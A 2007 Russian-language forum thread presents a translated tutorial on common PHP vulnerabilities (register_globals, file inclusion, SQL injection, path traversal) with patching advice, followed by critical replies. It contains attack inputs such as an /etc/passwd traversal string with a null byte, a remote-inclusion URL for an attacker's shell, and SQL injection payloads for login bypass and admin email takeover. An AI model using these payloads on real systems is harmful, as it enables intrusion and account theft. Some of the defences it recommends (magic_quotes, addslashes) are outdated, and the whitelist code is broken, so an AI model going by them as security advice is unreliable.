ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Чужие Статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Php Underground
  #1  
Старый 14.05.2007, 21:22
Аватар для Robin_Hood
Robin_Hood
Участник форума
Регистрация: 30.10.2006
Сообщений: 238
Провел на форуме:
966901

Репутация: 444
Отправить сообщение для Robin_Hood с помощью ICQ
По умолчанию Php Underground

Оригинальную статью на английском можно заценить тут -
http://www.playhack.net/view.php?type=1&id=22


-[ INFOS ]-----------------------------------------------------------------------

Title: "PHP Undergroud Security"
Author: Omnipresent
E-Mail: omnipresent@email.it - omni@playhack.net
Website: http://omni.playhack.net - http://www.playhack.net
Date: 2007-04-12

---------------------------------------------------------------------------------


-[ SUMMARY ]---------------------------------------------------------------------

0x00: Начнем..
0x01: Глобальные переменные.. Осторожно
[*] Patching
0x02: File Inclusion
[*] Patching
0x03: XSS
0x04: SQL Injection
\_ 0x04a: Login Bypass
\_ 0x04b: 1 Query? No.. 2 one!
[*] Patching
0x05: File Traverse
[*] Patching
0x05: Заключение



---------------------------------------------------------------------------------



---[ 0x00: Let"s start.. ]


В этом туториале я объясню основные PHP уязвимости и ошибки, расскажу про то как
их использовать и не допускать их.

Удачи!


-----------------------------------------------------------------------------[/]


---[ 0x01: Глобальные переменные, осторожнее!]


В PHP не нужно декларировать переменные, это отличная вещ для кодера, переменные
создаются "автоматически" когда нужно.
Отличная вещь... Иногда
PHP, как известно, также принимает данные от пользователя, обрабатывая их. Если
мы не определили переменную до её использования могут возникнуть проблемы,
касающиеся безопасности приложений. Для примера, взглянем на следующий код:

PHP код:

    
if ($is_admin == 1) {
        
//Да, я админ, открываем админ.панель
        
[...]
    } else {
        
//Нет, не админ
        
[...]
    } 
Как можно увидеть, $is_admin не определена раньше, поэтому мы легко
можем получить несанкционированный доступ к админ.панели.
Да, но как? Просто:

http://remote_host/bugged.php?is_admin=1

---[ Patching ]---

Как защитится от этого? Просто: задекларировать $is_admin до блока IF,
примерно так:

PHP код:
$is_admin 0;

[...]

    if (
$is_admin == 1) {
        
//Yes, I"m the admin so call the Administration Pannel
        
[...]
    } else {
        
//No, I"m not the admin
        
[...]
    } 
-----------------------------------------------------------------------------[/]


---[ 0x02: File Inclusion]


-----[Local File Inclusion]


PHP отличный, мощный язык, но нужно внимательно смотреть за своим кодом дабы
препятствовать возникновению проблем с безопасностью.
В многих ситуациях очень удобно использовать динамические инклуды, где часть
пути к файлу находится в переменной, как к примеру
PHP код:
<?php

    
include "/users/".$include_path.".php";
    [...]
?>
$include_path не задекларированная до использования, поэтому можно поместить в
переменную любое значение, к примеру то же /etc/passwd.
Для этого просто нужно модифицировать include_path в URL; к примеру

http://remote_host/bugged.php?include_path=../../../../etc/passwd%00

В результате мы получим
PHP код:
<?php

    
include "/users/../../../../etc/passwd%00.php"
    
[...]
?>
- [ NOTE ] -

А что такое %00? Это означает нулевой символ, который "удаляет" расширение PHP.
Если мы пропустим нулевой байт, мы сможем смотреть ТОЛЬКО .php файлы, потому что
расширение подключаемого файла - PHP (include "/users/".$include_path.".PHP")


-------------------------------------------------------------------------------

-----[ Remote File Inclusion]


Возьмем следующий код:

PHP код:
<?php

    
[...]

        include(
$_GET["pag"]);

    [...]

?>
Как видим, $page не утверждена до использования, поэтому злоумышленник может
проинклудить свой скрипт с помощью браузера, и получить доступ к машине, или
получить листинг к файлам.

Пример один: (доступ к машине)

http://remote_host/inc.php?pag=[Evil Script - our shell located on our server]

Пример 2: (просмотр файлов)

http://remote_host/inc.php?pag=/etc/passwd

---[ Patching ]---

Какое решение? подтверждать ввод. Один из многих методов - создать список
разрешенных страниц, как показано ниже:

PHP код:
[...]

    
$pag $_GET["pag"];

    
$pages = array("index.php""alfa.php""beta.php""gamma.php");
    
        if(
in_array($pag$pages))
        {
            include(
$pag);
        {
            else
            {
            die(
"Hacking Attempt!");
            }

[...] 
-----------------------------------------------------------------------------[/]

---[ 0x03: XSS]


Хочешь узнать про XSS?

Мой партнер написал большую статью про это, а я не вижу смысла писать об этом
дважды, поэтому держите:


[+] "Cross-Site Scripting for Fun and Profit"
http://www.playhack.net/view.php?type=1&id=18

[+] "Applying XSS to Phishing Attacks"
http://www.playhack.net/view.php?type=1&id=20

-----------------------------------------------------------------------------[/]

---[ 0x03: SQL Injection]

С помощью SQL Injection, как видно из названия, можно внедрить произвольный SQL
Code в уязвимое приложение.


------[ 0x04b Login Bypass ]

До того как мы начнем с небольшого примера, нужно узнать несколько вещей про SQL:

- (")кавычка. В SQL это оператор разграничивает строки, что важно для поиска
уязвимостей.

- (#)комментарий. Означает, что мы пытаемся сделать комментарии. Запомните, это
важно и нужно!

- (Это значит мы делаем новый запрос.. легко

После небольшого перерыва на важные операнды, приступим к первому примеру. Обход
Логина - Получаем права администратора

PHP код:
<?php

    
// login.php
        
    
$nick $_POST["nick"];
    
$pass $_POST["pass"];

    
$link mysql_connect("localhost""root""root") or die("Error: ".
        
mysql_error());

    
mysql_select_db("sql_inj"$link);


$query mysql_query("SELECT * FROM sql_inj WHERE nick ="".$nick."" 
AND pass ="" .
$pass. """
$link);

if (
mysql_num_rows($query) == 0) {
echo 
"<script type="text/javascript">window.location.href="index.html";
</script>"
;
exit;
}

    
$logged 1;

    [...]

    
//EoF

    
?>
Этот скрипт очень простой, но очень полезный, для того чтобы узнать
немного о SQL Injection.
Как мы видим, переменные $nick и $pass не обработаны должным образом до того
как они были использованы в запросе, поэтому можем вставить код.. наш SQL код.

Посмотрим на запрос:

"SELECT * FROM sql_inj WHERE nick ="".$nick."" AND pass ="" .$pass. """

Что случится, если мы передадим две переменные, испорченные как тут:

$nick = 1" OR "1" = "1
$pass = 1" OR "1" = "1

Новый запрос будет:

"SELECT * FROM sql_inj WHERE nick ="1 OR "1" = "1" AND pass ="1" OR "1" = "1""


Понятно? нет? Ладно, объясню более понятно..

Если ты хоть немного знаешь о таблицах истинности, тебе будет легко понять..

1 OR 1 = 1 ??


Один или один эквивалентно один? Да, правильно

А кто первый пользователь в таблице "sql_inj"?
Тот кто установил приложение? Да! Админ)

Итак, мы вошли как первый пользователь, а первый пользователь - админ=)

Также мы можем задать следующий запрос:

$nick = 1" OR "1" = "1" #
$pass = what_we_want_to_put


Новый запрос будет:

"SELECT * FROM sql_inj WHERE nick ="1 OR "1" = "1" #
AND pass = what_we_want_to_put"


Как сказано выше, "#" означает что все что идет после оператора, является
комментарий.
НОВЫЙ запрос:

"SELECT * FROM sql_inj WHERE nick ="1 OR "1" = "1"


И мы опять Админ)

------[ 0x04b: 1 Query? No.. 2 one! ]


С SQL Injection мы можем модифицировать запросы, изменять даты, обновлять
профили и многое другое...
Посмотрим на следующий код:
PHP код:
<?php

//email.php

[...]

$email $_POST["email"];

[...]

$query mysql_query("SELECT email, passwd, user_name FROM users WHERE email = 
"".
$email.""");
[...]

?>
Что мы здесь видим? $email не объявлена до использования..отлично!
Мы можем использовать это и.. к примеру, обновить базу данных, вводя новый
запрос вроде этого:

$email = x"; UPDATE users SET email = "omnipresent@email.it"
WHERE email = "admin@site.com ";

новый запрос будет такой:

SELECT email, passwd, user_name FROM users
WHERE email = " x"; UPDATE users SET email = "omnipresent@email.it"
WHERE email = "admin@site.com ";

Здесь, нападающий обновил таблицу "users", изменив админский email на свой.
К примеру, со скриптом "Восстановление пароля", он может ввести свой email
(omnipresent@email.it)
и получить письмо вроде такого:

From: host@site.com
To: omnipresent@email.it
Subject: Login Password

Ehy.. take it

Username: Admin
Password: 12345

Regards,
Admin


---[ Patching ]---

Для того чтобы пропатчить скрипты мы можем немного изменить php.ini файл:

1. set magic_quotes_gcp to On

Это позволит избежать кавычки в:
-COOKIE
-POST
-GET

2 использовать addslashes()

Это позволит экранировать кавычки

3. htmlspecialchars()

Будет конвертировать спец. символы в HTML формат

4. mysql_escape_string()

Функция экранирует все спецсимволы в unescaped_string, вследствие чего,
её можно безопасно использовать в mysql_query().

5. Смотрите php.net, для использования других фунцкий

6. Проверьте входные данные пользователя, как в примере ниже:

$user_id = (int)$_GET["user_id"];

$user_id это всегда целое число и можем отбросить ненужные вход. данные
для безопасности.



-----------------------------------------------------------------------------[/]


---[ 0x05: File Traverse ]


Траверсинг файловой системы действительно важный и критический баг.

Когда мы используем файл, мы должны индифитицировать имя файла и путь до него в
указателях до скрипта. Во многих случаях, имя файла задается пользователем,
аргумент задается в функцию fopen(), как здесь:

PHP код:
<?php

[...]

    
$fp fopen("/path/{$_GET["filename"]}.txt""r");

[...]

?>
В этом скрипте есть уязвимость, потому что "filename" может быть задано
удаленным пользователем. In this case the attacker can traveses the
filesystem by using multiple instances of "../" to move up to the directory
tree and see other files.

К примеру:
http://remote_host/path/bug.php?filename=../../../../path_of_another_file/file%00

Всегда помните, что нулевой байт используется во многих атаках для удаления
файлового расширения, задаваемого скриптом.

---[ Patching ]---

Отличное решение пропатчить этот скрипт - использовать basename(), как показано
в скрипте ниже:

PHP код:
<?php
 
    $clean 
= array(); 
    
    if (
basename($_GET["filename"]) == $_GET["filename"]) 
        { 
            
$clean["filename"] = $_GET["filename"]; 
        } 
    else 
        { 

            [...]

        } 

$fp fopen("/path/{$clean["filename"]}.txt""r");


?>
-----------------------------------------------------------------------------[/]


---[ 0x06: Заключение ]


Это конец статьи "PHP Undergroud Security", и я надеюсь она поможет вам
обезопасить PHP code!

При любых проблемах пишите на omnipresent@email.it или
omni@playhack.net.



-----------------------------------------------------------------------------[/]

\======================================[EOF]=====================================/

© milw0rm.com [2007-04-12]


© перевод Robin_HOOD@GFS
Спасибо Neminem за помощь в переводе
 
Ответить с цитированием

  #2  
Старый 14.05.2007, 21:58
Аватар для nerezus
nerezus
Pagan Heart
Регистрация: 12.08.2004
Сообщений: 3,791
Провел на форуме:
6490435

Репутация: 2290


Отправить сообщение для nerezus с помощью ICQ
По умолчанию

Цитата:
Как защитится от этого? Просто: задекларировать $is_admin до блока IF,
А ещ проще попросить админа нормально настроить сервер, чтобы такого не было.

Цитата:
Как можно увидеть, $is_admin не определена раньше, поэтому
А тогда почему мы ее сравниваем, если она не определена? Лол блин. придумай другой пример
Правда потом посмотри на камент выше и... )

Цитата:
А что такое %00? Это означает нулевой символ, который "удаляет" расширение PHP.
\0 вообще-то

Цитата:
include($_GET["pag"]);
мм, а если GET пустое? =) Выдаст ошибку(нотайс) на девелоперской тачке, которую трудно не заметить

Цитата:
set magic_quotes_gcp to On
Наконец то в пхп6 эту хрень отменят, чтобы криворуким недокодерам пришлось учить основы SQL.



P.S. очень не понравилось.
Сто раз одно ито же писать не надоело?
 
Ответить с цитированием

  #3  
Старый 14.05.2007, 22:19
Аватар для vmn
vmn
Познающий
Регистрация: 16.10.2006
Сообщений: 82
Провел на форуме:
248469

Репутация: 33
По умолчанию

Что-то у меня большие сомнения насчет update в mysql через инъекцию.
 
Ответить с цитированием

  #4  
Старый 14.05.2007, 23:59
Аватар для Validol
Validol
Участник форума
Регистрация: 15.12.2006
Сообщений: 212
Провел на форуме:
587761

Репутация: 144
По умолчанию

Цитата:
P.s. очень не понравилось.
Сто раз одно ито же писать не надоело?
На вкус и цвет карандаши разные...
Есть и плюсы и минусы.
+...
С лекарствами.

-...
Мало и комментарии других форумчан не радуют.
 
Ответить с цитированием

  #5  
Старый 15.05.2007, 03:41
Аватар для vmn
vmn
Познающий
Регистрация: 16.10.2006
Сообщений: 82
Провел на форуме:
248469

Репутация: 33
По умолчанию

Ну-ну приведи пример хоть одной рабочей инъекции в mysql где будет что-то наподобие id=-1;update .... /*
 
Ответить с цитированием

  #6  
Старый 15.05.2007, 12:04
Аватар для +toxa+
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме:
9751379

Репутация: 3812


Отправить сообщение для +toxa+ с помощью ICQ Отправить сообщение для +toxa+ с помощью AIM
По умолчанию

nerezus +1
громкое название, а контент банален=\

ЗЫ http://www.xakep.ru/magazine/xa/090/072/1.asp
имхо лучшая статья на эту тему (by Zadoxlik)
__________________
 
Ответить с цитированием

  #7  
Старый 15.05.2007, 19:33
Аватар для D1mOn
D1mOn
Постоянный
Регистрация: 02.10.2005
Сообщений: 490
Провел на форуме:
2333839

Репутация: 212
По умолчанию

Полностью согласен с Нерезусом...
 
Ответить с цитированием

  #8  
Старый 15.05.2007, 20:44
Аватар для Pridu_ROCK
Pridu_ROCK
Новичок
Регистрация: 11.04.2005
Сообщений: 23
Провел на форуме:
90656

Репутация: 26
По умолчанию

Цитата:
Сообщение от nerezus  
P.S. очень не понравилось.
Сто раз одно ито же писать не надоело?
Так енту же статью он сам не писал он ей ПЕРЕВОДИЛ =\
 
Ответить с цитированием

  #9  
Старый 15.05.2007, 21:57
Аватар для +toxa+
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме:
9751379

Репутация: 3812


Отправить сообщение для +toxa+ с помощью ICQ Отправить сообщение для +toxa+ с помощью AIM
По умолчанию

Цитата:
Сообщение от Pridu_ROCK  
Так енту же статью он сам не писал он ей ПЕРЕВОДИЛ =\
Тока вот я смысла в переводе не вижу=\
__________________
 
Ответить с цитированием

  #10  
Старый 15.05.2007, 22:05
Аватар для Pridu_ROCK
Pridu_ROCK
Новичок
Регистрация: 11.04.2005
Сообщений: 23
Провел на форуме:
90656

Репутация: 26
По умолчанию

Я Робина знаю, как он говорил он просто ради тренировки сделал переводик (тоесть чисто в сугубо личных целях =) ). Хотя я тоже в ентой статье нечего нового не вижу.....
Хотя если подумать много ли нового по теме Php(защита) было в последнее время написанно....... =\
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
Books PSalm69 Избранное 248 27.10.2009 04:52
На PHP, как на "Новые ворота"... Mertvii-Listopad Чужие Статьи 7 18.09.2006 12:42
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ